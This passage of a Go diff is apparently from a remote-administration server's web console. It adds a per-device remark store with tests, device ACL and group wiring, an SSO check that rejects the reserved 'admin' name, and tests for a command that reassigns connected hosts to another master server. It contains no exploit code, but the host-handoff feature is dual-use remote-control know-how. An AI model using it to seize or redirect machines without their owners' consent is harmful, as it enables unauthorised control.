UpdatedAt time.Time `json:"updated_at"`
UpdatedBy string `json:"updated_by,omitempty"`
}
// deviceNotesFile is the on-disk shape of device_notes.json. Version is
// reserved for future migrations; v1 is a flat deviceID -> remark map.
type deviceNotesFile struct {
Version int `json:"version"`
Devices map[string]DeviceNoteEntry `json:"devices"`
}
// DeviceNotes is the per-device remark table used by the web console. Remarks
// are labels, not access control, so the table is independent of DeviceACL: a
// device can carry a remark whether or not it is bound to an owner. An empty
// Path disables persistence (tests).
type DeviceNotes struct {
mu sync.RWMutex
path string
entries map[string]DeviceNoteEntry
// loadErr records why Load failed. While set, Set/Remove refuse to write:
// persisting the in-memory (empty) table would replace the unreadable file
// and destroy every remark it still holds.
loadErr error
}
// NewDeviceNotes returns an empty table backed by path.
func NewDeviceNotes(path string) *DeviceNotes {
return &DeviceNotes{path: path, entries: make(map[string]DeviceNoteEntry)}
}
// Load reads Path into memory. A missing file is an empty table. A malformed
// file (or one written by a newer version) is returned as an error and leaves
// the table write-disabled: the caller may log and continue serving, but the
// unreadable file must survive so its remarks can be recovered.
func (n *DeviceNotes) Load() error {
if n.path == "" {
return nil
}
data, err := os.ReadFile(n.path)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return n.failLoad(fmt.Errorf("read %s: %w", n.path, err))
}
var f deviceNotesFile
if err := json.Unmarshal(data, &f); err != nil {
return n.failLoad(fmt.Errorf("parse %s: %w", n.path, err))
}
if f.Version > deviceNotesFileVersion {
return n.failLoad(fmt.Errorf("unsupported %s version %d (this server writes %d)",
n.path, f.Version, deviceNotesFileVersion))
}
entries := make(map[string]DeviceNoteEntry, len(f.Devices))
for id, e := range f.Devices {
id = strings.TrimSpace(id)
// Apply the same invariants Set enforces: a hand-edited or restored
// file must not put a multi-line / over-long label on a card.
e.Note = capRunes(sanitizeLabel(e.Note), MaxRemarkRunes)
if id == "" || e.Note == "" {
continue
}
entries[id] = e
}
n.mu.Lock()
n.entries = entries
n.loadErr = nil
n.mu.Unlock()
return nil
}
// failLoad records the reason writes are disabled and returns it.
func (n *DeviceNotes) failLoad(err error) error {
n.mu.Lock()
n.loadErr = err
n.mu.Unlock()
return err
}
// Note returns the remark of deviceID, or "" when it has none.
func (n *DeviceNotes) Note(deviceID string) string {
if n == nil {
return ""
}
n.mu.RLock()
defer n.mu.RUnlock()
return n.entries[deviceID].Note
}
// Notes returns a copy of the deviceID -> remark map. Callers that look up
// many devices in one pass (MCP host listings) take this snapshot instead of a
// read lock per device, so a save's fsync cannot stall the whole listing.
func (n *DeviceNotes) Notes() map[string]string {
if n == nil {
return map[string]string{}
}
n.mu.RLock()
defer n.mu.RUnlock()
out := make(map[string]string, len(n.entries))
for id, e := range n.entries {
out[id] = e.Note
}
return out
}
// Snapshot returns a copy of the table (for logs and tests).
func (n *DeviceNotes) Snapshot() map[string]DeviceNoteEntry {
if n == nil {
return map[string]DeviceNoteEntry{}
}
n.mu.RLock()
defer n.mu.RUnlock()
out := make(map[string]DeviceNoteEntry, len(n.entries))
for id, e := range n.entries {
out[id] = e
}
return out
}
// Set stores note for deviceID. An empty note clears the remark. Control
// characters (line breaks etc.) are folded to spaces and the result is
// trimmed; more than MaxRemarkRunes runes is rejected. On persistence failure
// the in-memory table is rolled back so it never claims a remark that would
// not survive a restart.
func (n *DeviceNotes) Set(deviceID, note, actor string) error {
deviceID = strings.TrimSpace(deviceID)
if deviceID == "" {
return fmt.Errorf("empty device id")
}
note = sanitizeLabel(note)
if utf8.RuneCountInString(note) > MaxRemarkRunes {
return fmt.Errorf("remark is too long (max %d characters)", MaxRemarkRunes)
}
n.mu.Lock()
defer n.mu.Unlock()
if n.loadErr != nil {
return fmt.Errorf("device remarks unavailable: %w", n.loadErr)
}
prev, had := n.entries[deviceID]
if note == "" {
if !had {
return nil
}
delete(n.entries, deviceID)
} else {
n.entries[deviceID] = DeviceNoteEntry{Note: note, UpdatedAt: time.Now().UTC(), UpdatedBy: actor}
}
if err := n.saveLocked(); err != nil {
if had {
n.entries[deviceID] = prev
} else {
delete(n.entries, deviceID)
}
return err
}
return nil
}
// Remove drops the remark of one device (idempotent). Called when the device
// record is deleted so a future client reusing the same ID cannot inherit the
// label.
func (n *DeviceNotes) Remove(deviceID string) error {
if n == nil {
return nil
}
deviceID = strings.TrimSpace(deviceID)
if deviceID == "" {
return nil
}
n.mu.Lock()
defer n.mu.Unlock()
if n.loadErr != nil {
return fmt.Errorf("device remarks unavailable: %w", n.loadErr)
}
prev, ok := n.entries[deviceID]
if !ok {
return nil
}
delete(n.entries, deviceID)
if err := n.saveLocked(); err != nil {
n.entries[deviceID] = prev
return err
}
return nil
}
// sanitizeLabel folds line breaks and other control characters (including
// bidi/zero-width formatting runes, which could reorder the card title) to
// spaces so the label always renders on one line, then trims both ends.
// Shared by the per-device remark and group tables.
func sanitizeLabel(s string) string {
s = strings.Map(func(r rune) rune {
if unicode.IsControl(r) || unicode.Is(unicode.Cf, r) {
return ' '
}
return r
}, s)
return strings.TrimSpace(s)
}
// capRunes truncates s to max runes. Used on values read back from disk, where
// an older/hand-edited file may exceed the current limit. Trims again after the
// cut so the stored label cannot end in an invisible space.
func capRunes(s string, max int) string {
if utf8.RuneCountInString(s) <= max {
return s
}
return strings.TrimSpace(string([]rune(s)[:max]))
}
// saveLocked writes the table via a temp file + rename. Caller holds n.mu.
func (n *DeviceNotes) saveLocked() error {
if n.path == "" {
return nil
}
f := deviceNotesFile{Version: 1, Devices: n.entries}
data, err := json.MarshalIndent(f, "", " ")
if err != nil {
return fmt.Errorf("encode device notes: %w", err)
}
dir := filepath.Dir(n.path)
if dir == "" {
dir = "."
}
tmp, err := os.CreateTemp(dir, ".device_notes-*.tmp")
if err != nil {
return fmt.Errorf("create temp notes: %w", err)
}
tmpName := tmp.Name()
defer func() { _ = os.Remove(tmpName) }() // no-op after a successful rename
if _, err := tmp.Write(data); err != nil {
_ = tmp.Close()
return fmt.Errorf("write temp notes: %w", err)
}
if err := tmp.Sync(); err != nil {
_ = tmp.Close()
return fmt.Errorf("sync temp notes: %w", err)
}
if err := tmp.Close(); err != nil {
return fmt.Errorf("close temp notes: %w", err)
}
if err := os.Rename(tmpName, n.path); err != nil {
return fmt.Errorf("rename notes: %w", err)
}
return nil
}
+281
View File
@@ -0,0 +1,281 @@
package web
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"unicode/utf8"
)
// TestDeviceNotesSetPersistClear covers the store on its own: sanitize, save,
// reload, clear, and the rune cap.
func TestDeviceNotesSetPersistClear(t *testing.T) {
path := filepath.Join(t.TempDir(), "device_notes.json")
notes := NewDeviceNotes(path)
// Control characters are folded to spaces and the ends trimmed, so the
// label always renders on one line.
if err := notes.Set("dev-1", " Reception\nPC\t", "admin"); err != nil {
t.Fatalf("Set: %v", err)
}
if got := notes.Note("dev-1"); got != "Reception PC" {
t.Fatalf("Note = %q, want %q", got, "Reception PC")
}
// The table survives a restart.
reloaded := NewDeviceNotes(path)
if err := reloaded.Load(); err != nil {
t.Fatalf("Load: %v", err)
}
if got := reloaded.Note("dev-1"); got != "Reception PC" {
t.Fatalf("reloaded Note = %q, want %q", got, "Reception PC")
}
// More than MaxRemarkRunes runes is rejected without touching the table.
tooLong := strings.Repeat("x", MaxRemarkRunes+1)
if err := notes.Set("dev-1", tooLong, "admin"); err == nil {
t.Fatal("Set accepted an over-long remark")
}
if got := notes.Note("dev-1"); got != "Reception PC" {
t.Fatalf("rejected Set changed the note to %q", got)
}
if err := notes.Set("dev-1", strings.Repeat("y", MaxRemarkRunes), "admin"); err != nil {
t.Fatalf("Set at the limit: %v", err)
}
// An empty remark clears the entry, and the clearing is persisted.
if err := notes.Set("dev-1", " ", "admin"); err != nil {
t.Fatalf("clear: %v", err)
}
if got := notes.Note("dev-1"); got != "" {
t.Fatalf("Note after clear = %q, want empty", got)
}
reloaded = NewDeviceNotes(path)
if err := reloaded.Load(); err != nil {
t.Fatalf("Load after clear: %v", err)
}
if got := reloaded.Note("dev-1"); got != "" {
t.Fatalf("reloaded Note after clear = %q, want empty", got)
}
// Remove is idempotent and drops the entry.
if err := notes.Set("dev-2", "Keep", "admin"); err != nil {
t.Fatalf("Set dev-2: %v", err)
}
if err := notes.Remove("dev-2"); err != nil {
t.Fatalf("Remove: %v", err)
}
if err := notes.Remove("dev-2"); err != nil {
t.Fatalf("Remove twice: %v", err)
}
if got := notes.Note("dev-2"); got != "" {
t.Fatalf("Note after Remove = %q, want empty", got)
}
// Notes() is the bulk snapshot callers take per listing; it must be a
// copy, not a live view of the table.
if err := notes.Set("dev-3", "Bulk", "admin"); err != nil {
t.Fatalf("Set dev-3: %v", err)
}
snap := notes.Notes()
if snap["dev-3"] != "Bulk" {
t.Fatalf("Notes()[dev-3] = %q, want %q", snap["dev-3"], "Bulk")
}
snap["dev-3"] = "mutated"
if got := notes.Note("dev-3"); got != "Bulk" {
t.Fatalf("mutating the snapshot changed the store: %q", got)
}
}
// TestSetDeviceRemarkHandler exercises the WebSocket path: the superadmin
// sets a remark, device_list reports it (plus the remarkEdit capability), and
// clearing removes it.
func TestSetDeviceRemarkHandler(t *testing.T) {
wh, _, _ := aclTestHub(t)
path := filepath.Join(t.TempDir(), "device_notes.json")
notes := NewDeviceNotes(path)
wh.withDeviceNotes(notes)
c, tok := aclTestClient(t, wh, "admin", "admin")
send := func(id, remark string) map[string]any {
raw, err := json.Marshal(map[string]any{"token": tok, "id": id, "remark": remark})
if err != nil {
t.Fatalf("marshal: %v", err)
}
wh.dispatch(c, "set_device_remark", raw)
return readUntilCmd(t, c, "set_device_remark_result")
}
res := send("pub", " Reception\nPC ")
if res["ok"] != true {
t.Fatalf("set remark failed: %v", res)
}
if res["remark"] != "Reception PC" {
t.Fatalf("reply remark = %v, want %q", res["remark"], "Reception PC")
}
if got := notes.Note("pub"); got != "Reception PC" {
t.Fatalf("stored remark = %q", got)
}
// device_list carries the label and the capability the menu keys off.
rawList, _ := json.Marshal(map[string]any{"token": tok})
wh.dispatch(c, "get_devices", rawList)
list := readUntilCmd(t, c, "device_list")
if list["remarkEdit"] != true {
t.Fatalf("device_list remarkEdit = %v, want true", list["remarkEdit"])
}
items, _ := list["devices"].([]any)
found := false
for _, it := range items {
m, _ := it.(map[string]any)
if m["id"] == "pub" {
found = true
if m["remark"] != "Reception PC" {
t.Fatalf("device_list remark = %v, want %q", m["remark"], "Reception PC")
}
}
}
if !found {
t.Fatal("device_list did not include the public device")
}
// Empty remark clears it.
res = send("pub", "")
if res["ok"] != true {
t.Fatalf("clear remark failed: %v", res)
}
if got := notes.Note("pub"); got != "" {
t.Fatalf("remark after clear = %q", got)
}
// A payload with a non-string remark must be rejected, not treated as an
// empty remark (which would clear the label).
if err := notes.Set("pub", "Keep", "admin"); err != nil {
t.Fatalf("Set before invalid payload: %v", err)
}
rawBad, _ := json.Marshal(map[string]any{"token": tok, "id": "pub", "remark": 123})
wh.dispatch(c, "set_device_remark", rawBad)
bad := readUntilCmd(t, c, "set_device_remark_result")
if bad["ok"] == true {
t.Fatalf("invalid payload accepted: %v", bad)
}
if got := notes.Note("pub"); got != "Keep" {
t.Fatalf("invalid payload changed the remark to %q", got)
}
// A stale card (device deleted between render and save) must not create an
// orphan remark.
rawGhost, _ := json.Marshal(map[string]any{"token": tok, "id": "ghost-id", "remark": "x"})
wh.dispatch(c, "set_device_remark", rawGhost)
if ghost := readUntilCmd(t, c, "set_device_remark_result"); ghost["ok"] == true {
t.Fatalf("remark accepted for an unknown device: %v", ghost)
}
}
// TestDeviceNotesBadFileRefusesWrites: a file that cannot be parsed must not
// be replaced by the first save (that would destroy every remark in it).
func TestDeviceNotesBadFileRefusesWrites(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "device_notes.json")
bad := []byte("{not json")
if err := os.WriteFile(path, bad, 0644); err != nil {
t.Fatalf("seed: %v", err)
}
notes := NewDeviceNotes(path)
if err := notes.Load(); err == nil {
t.Fatal("Load accepted a malformed file")
}
if err := notes.Set("dev-1", "x", "admin"); err == nil {
t.Fatal("Set wrote over a file that failed to load")
}
if err := notes.Remove("dev-1"); err == nil {
t.Fatal("Remove wrote over a file that failed to load")
}
if got, _ := os.ReadFile(path); string(got) != string(bad) {
t.Fatalf("original file was modified: %q", got)
}
// A newer on-disk version is refused the same way.
future, err := json.Marshal(deviceNotesFile{Version: deviceNotesFileVersion + 1,
Devices: map[string]DeviceNoteEntry{"dev-1": {Note: "x"}}})
if err != nil {
t.Fatalf("marshal future file: %v", err)
}
if err := os.WriteFile(path, future, 0644); err != nil {
t.Fatalf("seed future: %v", err)
}
futureNotes := NewDeviceNotes(path)
if err := futureNotes.Load(); err == nil {
t.Fatal("Load accepted a newer file version")
}
if err := futureNotes.Set("dev-1", "y", "admin"); err == nil {
t.Fatal("Set wrote over a newer file version")
}
if got, _ := os.ReadFile(path); string(got) != string(future) {
t.Fatal("newer file was modified")
}
}
// TestDeviceNotesLoadAppliesInvariants: values read back from disk go through
// the same sanitize + rune cap as Set, so a restored file cannot put a
// multi-line or over-long label on a card.
func TestDeviceNotesLoadAppliesInvariants(t *testing.T) {
path := filepath.Join(t.TempDir(), "device_notes.json")
long := "Reception\nPC " + strings.Repeat("x", MaxRemarkRunes)
data, err := json.Marshal(deviceNotesFile{Version: deviceNotesFileVersion,
Devices: map[string]DeviceNoteEntry{"dev-1": {Note: long}}})
if err != nil {
t.Fatalf("marshal: %v", err)
}
if err := os.WriteFile(path, data, 0644); err != nil {
t.Fatalf("seed: %v", err)
}
notes := NewDeviceNotes(path)
if err := notes.Load(); err != nil {
t.Fatalf("Load: %v", err)
}
got := notes.Note("dev-1")
if strings.ContainsAny(got, "\r\n\t") {
t.Fatalf("loaded remark kept control characters: %q", got)
}
if n := utf8.RuneCountInString(got); n != MaxRemarkRunes {
t.Fatalf("loaded remark has %d runes, want %d", n, MaxRemarkRunes)
}
if !strings.HasPrefix(got, "Reception PC ") {
t.Fatalf("loaded remark lost its prefix: %q", got)
}
}
// TestSetDeviceRemarkPermissions: viewers cannot edit, and an admin that the
// ACL does not let see a private device cannot edit it either.
func TestSetDeviceRemarkPermissions(t *testing.T) {
wh, _, _ := aclTestHub(t)
wh.withDeviceNotes(NewDeviceNotes(""))
attempt := func(c *wsClient, tok, id string) map[string]any {
raw, _ := json.Marshal(map[string]any{"token": tok, "id": id, "remark": "x"})
wh.dispatch(c, "set_device_remark", raw)
return readUntilCmd(t, c, "set_device_remark_result")
}
cv, tokv := aclTestClient(t, wh, "viewer1", "viewer")
if res := attempt(cv, tokv, "pub"); res["ok"] == true {
t.Fatal("viewer was allowed to edit a remark")
}
// a-dev is bound to a@corp.com; another admin cannot see it, so the server
// must refuse to label it as well.
ca, toka := aclTestClient(t, wh, "other-admin", "admin")
if res := attempt(ca, toka, "a-dev"); res["ok"] == true {
t.Fatal("admin without device access was allowed to edit a remark")
}
// The superadmin can label any device.
cs, toks := aclTestClient(t, wh, "admin", "admin")
if res := attempt(cs, toks, "a-dev"); res["ok"] != true {
t.Fatalf("superadmin was refused: %v", res)
}
}
+58 -5
View File
@@ -32,6 +32,9 @@ type Server struct {
hub *hub.Hub
auth *wsauth.Authenticator
history *devicehistory.Store // nil → no offline devices
deviceACL *DeviceACL // nil → no per-device owner filtering
deviceNotes *DeviceNotes // nil → no "edit remark" entry in the UI
deviceGroups *DeviceGroups // nil → no "edit group" entry in the UI
ws *wsHub
allowedOrigins []string // for WS Origin allowlist; empty = same-origin only
loginIPLimit *wsauth.RateLimiter
@@ -39,6 +42,9 @@ type Server struct {
trustForwardedFor bool // honor X-Forwarded-For (behind trusted proxy only)
basePath string // web UI mount prefix (e.g. "/remoter"); "" = domain root
brandName string // white-label title; "" = "SimpleRemoter" (official branding)
transferTarget string // pre-filled "transfer host" target, "host:port"
transferDays float64 // pre-filled "transfer host" days
transferTransport int // link to the target: protocol.TransferTransport*
sso SSODetector // nil = SSO disabled
mcp mcpEndpoint // nil = no /mcp route
sweepDone chan struct{} // closes to stop the login-limiter sweeper
@@ -88,6 +94,33 @@ type Config struct {
// session (cookie/header) into a YAMA web session via /sso. nil disables
// SSO and the front-end falls back to the built-in login form.
SSO SSODetector
// DeviceACL is the per-device owner table. nil disables filtering (legacy
// behaviour: every authenticated session sees every device). The shipped
// server always wires one; tests may omit it.
DeviceACL *DeviceACL
// DeviceNotes is the per-device remark table rendered on the card as
// "hostname (remark)". nil disables the "edit remark" menu entry: the
// device_list reply reports remarkEdit only when this is wired, so the
// shared page hides the action on a backend that does not implement it
// (the MFC server).
DeviceNotes *DeviceNotes
// DeviceGroups is the per-device group override table. nil disables the
// "edit group" menu entry the same way (device_list reports groupEdit).
DeviceGroups *DeviceGroups
// TransferTarget ("host:port") and TransferDays pre-fill the web UI's
// "transfer host" dialog. Reporting them is also what tells the shared
// page that this backend implements COMMAND_ASSIGN_MASTER — the MFC server
// serves the same page but never reports it, so no transfer button appears
// where the command would be dropped. Empty target = the operator types
// the address; days <= 0 falls back to 1.
//
// TransferTransport is the link the transferred host must use to reach the
// target (protocol.TransferTransportTCP/WS/WSS; zero value = TCP, what an
// MFC master listens on). It is always sent to the client: leaving it out
// would make a host that currently talks WSS keep WSS against the target.
TransferTarget string
TransferDays float64
TransferTransport int
}
// New creates an HTTP server bound to the given port. port=0 disables the server.
@@ -115,6 +148,12 @@ func (s *Server) WithConfig(cfg Config) *Server {
s.basePath = cfg.BasePath
s.brandName = resolveBrandName(cfg.BrandName, s.basePath)
s.sso = cfg.SSO
s.deviceACL = cfg.DeviceACL
s.deviceNotes = cfg.DeviceNotes
s.deviceGroups = cfg.DeviceGroups
s.transferTarget = cfg.TransferTarget
s.transferDays = cfg.TransferDays
s.transferTransport = cfg.TransferTransport
return s
}
@@ -138,7 +177,11 @@ func (s *Server) Start() error {
s.ws = newWSHub(s.auth, s.hub, s.history, s.log).
withOriginAllowlist(s.allowedOrigins).
withLoginRateLimiters(s.loginIPLimit, s.loginUserLimit).
withTrustForwardedFor(s.trustForwardedFor)
withTrustForwardedFor(s.trustForwardedFor).
withDeviceACL(s.deviceACL).
withDeviceNotes(s.deviceNotes).
withDeviceGroups(s.deviceGroups).
withTransferDefaults(s.transferTarget, s.transferDays, s.transferTransport)
mux := http.NewServeMux()
mux.HandleFunc("/", s.handleIndex)
@@ -280,8 +323,17 @@ func (s *Server) handleHealth(w http.ResponseWriter, r *http.Request) {
// handleDevices returns a JSON snapshot of currently-online devices. Empty
// array (not null) when no clients are connected — matches what the front-end
// will eventually expect. Auth-gated via requireBearer.
func (s *Server) handleDevices(w http.ResponseWriter, r *http.Request) {
func (s *Server) handleDevices(w http.ResponseWriter, r *http.Request, sess *wsauth.Session) {
devices := s.hub.ListDevices()
if s.deviceACL != nil {
visible := make([]hub.DeviceInfo, 0, len(devices))
for _, d := range devices {
if deviceAllowed(s.deviceACL, sess.Username, sess.Role, d.ID) {
visible = append(visible, d)
}
}
devices = visible
}
w.Header().Set("Content-Type", "application/json; charset=utf-8")
w.Header().Set("Cache-Control", "no-store")
if err := json.NewEncoder(w).Encode(devices); err != nil {
@@ -294,7 +346,7 @@ func (s *Server) handleDevices(w http.ResponseWriter, r *http.Request) {
// missing / invalid / expired tokens. Used to gate REST endpoints that
// previously fell through with no auth (notably /api/devices, which
// otherwise leaks the full online-device list to anyone on the internet).
func (s *Server) requireBearer(next http.HandlerFunc) http.HandlerFunc {
func (s *Server) requireBearer(next func(http.ResponseWriter, *http.Request, *wsauth.Session)) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
const prefix = "Bearer "
hdr := r.Header.Get("Authorization")
@@ -307,11 +359,12 @@ func (s *Server) requireBearer(next http.HandlerFunc) http.HandlerFunc {
s.unauthorized(w)
return
}
if _, err := s.auth.ValidateToken(token); err != nil {
sess, err := s.auth.ValidateToken(token)
if err != nil {
s.unauthorized(w)
return
}
next(w, r)
next(w, r, sess)
}
}
+13
View File
@@ -38,6 +38,19 @@ func (s *Server) handleSSO(w http.ResponseWriter, r *http.Request) {
s.unauthorized(w)
return
}
// "admin" is the built-in superadmin account and must never be minted by
// SSO: any portal identity with that name would inherit bind/unbind and
// unrestricted device access. Portal usernames are email addresses, so a
// real portal user can never legitimately hit this.
if username == "admin" {
fields := requestFields(r, s.trustForwardedFor)
fields["method"] = "sso"
fields["actor"] = username
fields["reason"] = "reserved_username"
s.log.AuditWarn(auditLoginFail, fields)
s.unauthorized(w)
return
}
// Only the "admin" role may skip the login form via SSO. Every other role
// (viewer, unknown) must authenticate against YAMA's own login, even with
// a valid portal session. A valid portal identity being refused here is
+1
View File
@@ -161,6 +161,7 @@ func TestHandleSSOAdminOnly(t *testing.T) {
wantStatus int
}{
{"admin is bridged", &fakeSSODetector{"alice", "admin", true}, http.StatusOK},
{"built-in username is rejected", &fakeSSODetector{"admin", "admin", true}, http.StatusUnauthorized},
{"viewer is rejected", &fakeSSODetector{"bob", "viewer", true}, http.StatusUnauthorized},
{"unknown role is rejected", &fakeSSODetector{"carol", "operator", true}, http.StatusUnauthorized},
{"no credential is rejected", &fakeSSODetector{ok: false}, http.StatusUnauthorized},
+278
View File
@@ -0,0 +1,278 @@
package web
import (
"encoding/json"
"testing"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
)
// transferReply drains queued messages until the transfer result arrives. The
// handler also broadcasts devices_changed to every authenticated client, so
// the reply is not necessarily the first message on the channel.
func transferReply(t *testing.T, c *wsClient) map[string]any {
t.Helper()
for i := 0; i < 8; i++ {
select {
case m := <-c.send:
var out map[string]any
if err := json.Unmarshal(m.data, &out); err != nil {
t.Fatalf("decode reply: %v", err)
}
if out["cmd"] == "transfer_device_result" {
return out
}
default:
t.Fatal("no transfer_device_result reply")
}
}
t.Fatal("transfer_device_result not queued")
return nil
}
func TestTransferDeviceSendsAssignMaster(t *testing.T) {
wh, h, hist := deleteTestHub(t)
var sent []byte
h.SetSender(func(_ *connection.Context, data []byte) error {
sent = append([]byte(nil), data...)
return nil
})
h.Register(&hub.Device{ID: "live", Name: "Live"},
&connection.Context{RemoteAddr: "10.0.0.9:1000"})
c, tok := deleteTestClient(wh, "admin")
raw, _ := json.Marshal(map[string]any{
"token": tok, "id": "live", "host": "mfc.example", "port": 6544, "days": 2,
})
wh.handleTransferDevice(c, raw)
rep := transferReply(t, c)
if rep["ok"] != true {
t.Fatalf("reply = %+v, want ok", rep)
}
if rep["target"] != "mfc.example:6544" {
t.Fatalf("target = %v, want mfc.example:6544", rep["target"])
}
// Wire format must match the MFC master byte for byte: command, transfer
// type, then host:port:days::transport as a NUL-terminated string. The
// empty shine segment keeps the host's header-encryption variant; the
// transport segment must always be present (TCP unless configured), or a
// host that currently talks WSS would keep WSS against the target.
want := string([]byte{protocol.CommandAssignMaster, protocol.ShareTypeYamaForever}) +
"mfc.example:6544:2::0\x00"
if string(sent) != want {
t.Fatalf("sent = %q, want %q", sent, want)
}
// The marker is what the card renders as "transferred → …".
target, until, ok := hist.Transfer("live")
if !ok || target != "mfc.example:6544" || until <= 0 {
t.Fatalf("history marker = %q/%d/%v, want mfc.example:6544 with a deadline", target, until, ok)
}
}
// The configured transport must reach the device: the clients keep their
// current link when the segment is missing, so a WSS-managed host handed to a
// plain-TCP master would retry WSS forever.
func TestTransferDeviceSendsConfiguredTransport(t *testing.T) {
wh, h, _ := deleteTestHub(t)
wh.withTransferDefaults("mfc.example:6544", 2, protocol.TransferTransportWSS)
var sent []byte
h.SetSender(func(_ *connection.Context, data []byte) error {
sent = append([]byte(nil), data...)
return nil
})
h.Register(&hub.Device{ID: "live", Name: "Live"},
&connection.Context{RemoteAddr: "10.0.0.14:1000"})
c, tok := deleteTestClient(wh, "admin")
raw, _ := json.Marshal(map[string]any{
"token": tok, "id": "live", "host": "mfc.example", "port": 6544, "days": 1,
})
wh.handleTransferDevice(c, raw)
if rep := transferReply(t, c); rep["ok"] != true {
t.Fatalf("reply = %+v, want ok", rep)
}
want := string([]byte{protocol.CommandAssignMaster, protocol.ShareTypeYamaForever}) +
"mfc.example:6544:1::6\x00"
if string(sent) != want {
t.Fatalf("sent = %q, want %q", sent, want)
}
}
func TestTransferDeviceRequiresAdmin(t *testing.T) {
wh, h, hist := deleteTestHub(t)
sent := false
h.SetSender(func(_ *connection.Context, _ []byte) error {
sent = true
return nil
})
h.Register(&hub.Device{ID: "live", Name: "Live"},
&connection.Context{RemoteAddr: "10.0.0.10:1000"})
c, tok := deleteTestClient(wh, "viewer")
raw, _ := json.Marshal(map[string]any{
"token": tok, "id": "live", "host": "mfc.example", "port": 6544, "days": 1,
})
wh.handleTransferDevice(c, raw)
if rep := transferReply(t, c); rep["ok"] != false {
t.Fatalf("reply = %+v, want ok:false", rep)
}
if sent {
t.Fatal("viewer's transfer command reached the device")
}
if _, _, ok := hist.Transfer("live"); ok {
t.Fatal("viewer's transfer left a marker")
}
}
func TestTransferDeviceOffline(t *testing.T) {
wh, _, _ := deleteTestHub(t)
c, tok := deleteTestClient(wh, "admin")
raw, _ := json.Marshal(map[string]any{
"token": tok, "id": "never-seen", "host": "mfc.example", "port": 6544, "days": 1,
})
wh.handleTransferDevice(c, raw)
if rep := transferReply(t, c); rep["ok"] != false || rep["msg"] != "Host is offline" {
t.Fatalf("reply = %+v, want offline failure", rep)
}
}
func TestTransferDeviceRejectsBadTarget(t *testing.T) {
cases := []struct {
name string
in map[string]any
}{
{"empty host", map[string]any{"host": "", "port": 6544, "days": 1}},
{"colon in host", map[string]any{"host": "mfc:6544", "port": 6544, "days": 1}},
{"port zero", map[string]any{"host": "mfc.example", "port": 0, "days": 1}},
{"port too big", map[string]any{"host": "mfc.example", "port": 70000, "days": 1}},
{"zero days", map[string]any{"host": "mfc.example", "port": 6544, "days": 0}},
{"too many days", map[string]any{"host": "mfc.example", "port": 6544, "days": 400}},
{"no id", map[string]any{"id": "", "host": "mfc.example", "port": 6544, "days": 1}},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
wh, h, _ := deleteTestHub(t)
sent := false
h.SetSender(func(_ *connection.Context, _ []byte) error {
sent = true
return nil
})
h.Register(&hub.Device{ID: "live", Name: "Live"},
&connection.Context{RemoteAddr: "10.0.0.11:1000"})
c, tok := deleteTestClient(wh, "admin")
args := map[string]any{"token": tok, "id": "live"}
for k, v := range tc.in {
args[k] = v
}
raw, _ := json.Marshal(args)
wh.handleTransferDevice(c, raw)
if rep := transferReply(t, c); rep["ok"] != false {
t.Fatalf("reply = %+v, want ok:false", rep)
}
if sent {
t.Fatal("invalid target still reached the device")
}
})
}
}
// A second assignment while the first one is live would be ignored by the
// Windows client ("Avoid assign again"), so the server must not report success
// for it.
func TestTransferDeviceRefusesSecondTransfer(t *testing.T) {
wh, h, hist := deleteTestHub(t)
sends := 0
h.SetSender(func(_ *connection.Context, _ []byte) error {
sends++
return nil
})
h.Register(&hub.Device{ID: "live", Name: "Live"},
&connection.Context{RemoteAddr: "10.0.0.12:1000"})
if !hist.SetTransfer("live", "mfc.example:6544", 1<<62) {
t.Fatal("SetTransfer on a live device failed")
}
c, tok := deleteTestClient(wh, "admin")
raw, _ := json.Marshal(map[string]any{
"token": tok, "id": "live", "host": "other.example", "port": 6544, "days": 1,
})
wh.handleTransferDevice(c, raw)
rep := transferReply(t, c)
if rep["ok"] != false {
t.Fatalf("reply = %+v, want ok:false", rep)
}
if sends != 0 {
t.Fatalf("device received %d commands, want 0", sends)
}
if target, _, _ := hist.Transfer("live"); target != "mfc.example:6544" {
t.Fatalf("marker overwritten to %q", target)
}
}
// The shared page decides whether to show the transfer button by the presence
// of the "transfer" object in device_list, and reads the card marker from
// transferTo/transferUntil. Both are part of the contract with index.html.
func TestDeviceListReportsTransferContract(t *testing.T) {
wh, h, hist := deleteTestHub(t)
wh.withTransferDefaults("mfc.example:6544", 2, protocol.TransferTransportTCP)
h.Register(&hub.Device{ID: "live", Name: "Live"},
&connection.Context{RemoteAddr: "10.0.0.13:1000"})
if !hist.SetTransfer("live", "mfc.example:6544", 4102444800) { // year 2100
t.Fatal("SetTransfer failed")
}
c, tok := deleteTestClient(wh, "admin")
raw, _ := json.Marshal(map[string]any{"token": tok})
wh.handleGetDevices(c, raw)
var out struct {
Cmd string `json:"cmd"`
Transfer *struct {
Target string `json:"target"`
Days float64 `json:"days"`
} `json:"transfer"`
Devices []struct {
ID string `json:"id"`
TransferTo string `json:"transferTo"`
TransferUntil int64 `json:"transferUntil"`
} `json:"devices"`
}
for i := 0; i < 8; i++ {
select {
case m := <-c.send:
if err := json.Unmarshal(m.data, &out); err != nil {
t.Fatalf("decode: %v", err)
}
default:
t.Fatal("no device_list reply")
}
if out.Cmd == "device_list" {
break
}
}
if out.Transfer == nil {
t.Fatal("device_list carries no transfer config — the page would hide the button")
}
if out.Transfer.Target != "mfc.example:6544" || out.Transfer.Days != 2 {
t.Fatalf("transfer config = %+v", *out.Transfer)
}
if len(out.Devices) != 1 {
t.Fatalf("devices = %d, want 1", len(out.Devices))
}
if d := out.Devices[0]; d.TransferTo != "mfc.example:6544" || d.TransferUntil == 0 {
t.Fatalf("device marker = %+v, want mfc.example:6544 with a deadline", d)
}
}
+89 -3
View File
@@ -131,7 +131,15 @@ func (c *wsClient) close() {
// challengeCaps advertises optional protocol features. It is appended to every
// challenge, including the rotation after a failed login, because the browser
// overwrites its capability state on each challenge. Old frontends ignore it.
const challengeCaps = `,"caps":{"multiWatch":true,"keyframeRequest":true,"offlineDevices":true,"auditLog":true}`
// deviceAcl is only advertised when the hub actually has a binding table;
// embedders that leave it nil keep the old "everyone sees everything" model.
func (h *wsHub) challengeCaps() string {
deviceAcl := "false"
